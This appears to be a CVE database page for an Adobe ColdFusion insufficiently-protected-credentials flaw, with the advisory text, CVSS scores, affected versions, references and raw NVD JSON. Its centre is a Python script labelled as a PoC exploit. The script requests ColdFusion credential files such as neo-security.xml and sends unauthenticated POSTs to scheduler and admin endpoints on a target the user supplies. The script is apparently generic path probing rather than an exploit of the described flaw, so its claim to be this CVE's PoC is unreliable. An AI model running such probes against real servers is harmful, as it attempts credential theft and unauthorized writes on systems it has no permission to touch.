CVE-2025-64898

Description

ColdFusion versions 2025.4, 2023.16, 2021.22 and earlier are affected by an Insufficiently Protected Credentials vulnerability that could result in limited unauthorized write access. An attacker could leverage this vulnerability to gain unauthorized access by exploiting improperly stored or transmitted credentials. Exploitation of this issue does not require user interaction.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:coldfusion:2021:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update10:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update11:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update12:*:*:*:*:*:* - VULNERABLE

Adobe ColdFusion 2025 < 2025.4

Adobe ColdFusion 2023 < 2023.16

Adobe ColdFusion 2021 < 2021.22

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-64898 PoC - Adobe ColdFusion 凭证保护不足漏洞利用
# 注意：此PoC仅用于安全研究和授权测试

import requests
import json
import base64
from urllib.parse import urljoin

def check_coldfusion_version(target_url):
    """检查ColdFusion版本"""
    try:
        # 尝试访问管理界面获取版本信息
        version_urls = [
            '/CFIDE/adminapi/base.cfc?wsdl',
            '/cfusion/bin/cfide/administrator/index.cfm',
            '/CFIDE/administrator/index.cfm'
        ]
        
        for url in version_urls:
            full_url = urljoin(target_url, url)
            response = requests.get(full_url, timeout=10, verify=False)
            if response.status_code == 200:
                # 从响应中提取版本信息
                if '2025' in response.text:
                    return '2025.x'
                elif '2023' in response.text:
                    return '2023.x'
                elif '2021' in response.text:
                    return '2021.x'
        return 'Unknown'
    except Exception as e:
        print(f"[-] Error checking version: {e}")
        return None

def test_credential_exposure(target_url):
    """测试凭证暴露情况"""
    print(f"[*] Testing credential exposure on {target_url}")
    
    # 测试常见的凭证存储路径
    credential_paths = [
        '/CFIDE/adminapi/servermanager.cfc?method=getServerInfo',
        '/cfusion/lib/neo-security.xml',
        '/CFIDE/Administrator/rdmbles/rdmbles.cfm'
    ]
    
    exposed_creds = []
    for path in credential_paths:
        full_url = urljoin(target_url, path)
        try:
            response = requests.get(full_url, timeout=10, verify=False)
            if response.status_code == 200:
                # 检查响应中是否包含凭证相关信息
                if any(keyword in response.text.lower() for keyword in ['password', 'credential', 'secret', 'key', 'token']):
                    print(f"[+] Potential credential exposure found at: {path}")
                    exposed_creds.append(path)
        except Exception as e:
            continue
    
    return exposed_creds

def test_unauthorized_write(target_url, session_cookie=None):
    """测试未授权写操作"""
    print(f"[*] Testing unauthorized write access")
    
    # 构造写操作请求
    write_endpoints = [
        '/CFIDE/adminapi/scheduler/scheduleTask.cfm',
        '/CFIDE/wizards/common/utils.cfc',
        '/cfide/administrator/scheduler/schedule.cfm'
    ]
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    }
    
    if session_cookie:
        headers['Cookie'] = session_cookie
    
    for endpoint in write_endpoints:
        full_url = urljoin(target_url, endpoint)
        try:
            # 尝试构造写操作请求
            response = requests.post(full_url, headers=headers, timeout=10, verify=False)
            if response.status_code in [200, 201, 302]:
                print(f"[+] Write endpoint accessible: {endpoint}")
        except Exception as e:
            continue
    
    return True

def main():
    target = input("Enter target URL (e.g., https://target.com): ").strip()
    if not target:
        print("[-] Target URL required")
        return
    
    print(f"[*] Starting CVE-2025-64898 analysis on {target}")
    
    # 步骤1: 版本检测
    version = check_coldfusion_version(target)
    print(f"[*] Detected ColdFusion version: {version}")
    
    # 步骤2: 凭证暴露测试
    exposed = test_credential_exposure(target)
    if exposed:
        print(f"[!] Warning: Potential credential exposure detected")
    
    # 步骤3: 未授权写访问测试
    test_unauthorized_write(target)
    
    print("[*] Analysis complete")
    print("[*] Recommended action: Apply Adobe ColdFusion updates (APSB25-105)")

if __name__ == '__main__':
    main()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64898
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64898
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64898/
[4] VulDB https://vuldb.com/cve/CVE-2025-64898
[5] https://helpx.adobe.com/security/products/coldfusion/apsb25-105.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64898", "sourceIdentifier": "[email protected]", "published": "2025-12-10T00:16:10.937", "lastModified": "2025-12-12T18:40:26.577", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ColdFusion versions 2025.4, 2023.16, 2021.22 and earlier are affected by an Insufficiently Protected Credentials vulnerability that could result in limited unauthorized write access. An attacker could leverage this vulnerability to gain unauthorized access by exploiting improperly stored or transmitted credentials. Exploitation of this issue does not require user interaction."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:-:*:*:*:*:*:*", "matchCriteriaId": "7A94B406-C011-4673-8C2B-0DD94D46CC4C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update1:*:*:*:*:*:*", "matchCriteriaId": "AFD05E3A-10F9-4C75-9710-BA46B66FF6E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update10:*:*:*:*:*:*", "matchCriteriaId": "F1FC7D1D-6DD2-48B2-980F-B001B0F24473"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update11:*:*:*:*:*:*", "matchCriteriaId": "1FA19E1D-61C2-4640-AF06-4BCFE750BDF3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update12:*:*:*:*:*:*", "matchCriteriaId": "3F331DEA-F3D0-4B13-AB1E-6FE39B2BB55D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update13:*:*:*:*:*:*", "matchCriteriaId": "63D5CF84-4B0D-48AE-95D6-262AEA2FFDE8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update14:*:*:*:*:*:*", "matchCriteriaId": "10616A3A-0C1C-474A-BD7D-A2A5BB870F74"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update15:*:*:*:*:*:*", "matchCriteriaId": "D7DA523E-1D9B-45FD-94D9-D4F9F2B9296B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update16:*:*:*:*:*:*", "matchCriteriaId": "151AFF8B-F05C-4D27-85FC-DF88E9C11BEA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update17:*:*:*:*:*:*", "matchCriteriaId": "53A0E245-2915-4DFF-AFB5-A12F5C435702"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update18:*:*:*:*:*:*", "matchCriteriaId": "C5653D18-7534-48A3-819F-9F049A418F99"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update19:*:*:*:*:*:*", "matchCriteriaId": "BABC6468-A780-4080-A930-4125D1B39C51"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update2:*:*:*:*:*:*", "matchCriteriaId": "D57C8681-AC68-47DF-A61E-B5C4B4A47663"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update20:*:*:*:*:*:*", "matchCriteriaId": "F58633C9-E957-46B7-8F5B-B060A8726E33"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update21:*:*:*:*:*:*", "matchCriteriaId": "3CF83653-86BB-461A-87F8-65D99EF2276E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update22:*:*:*:*:*:*", "matchCriteriaId": "C2C67E15-22DE-44C0-8CB1-9AF8FCF09FA5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update3:*:*:*:*:*:*", "matchCriteriaId": "75608383-B727-48D6-8FFA-D552A338A562"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update4:*:*:*:*:*:*", "matchCriteriaId": "7773DB68-414A-4BA9-960F-52471A784379"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update5:*:*:*:*:*:*", "matchCriteriaId": "B38B9E86-BCD5-4BCA-8FB7-EC55905184E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update6:*:*:*:*:*:*", "matchCriteriaId": "5E7BAB80-8455-4570-A2A2-8F40469EE9CC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update7:*:*:*:*:*:*", "matchCriteriaId": "F9D645A2-E02D-4E82-A2BD-0A7DE5B8FBCC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update8:*:*:*:*:*:*", "matchCriteriaId": "6E2 ... (truncated)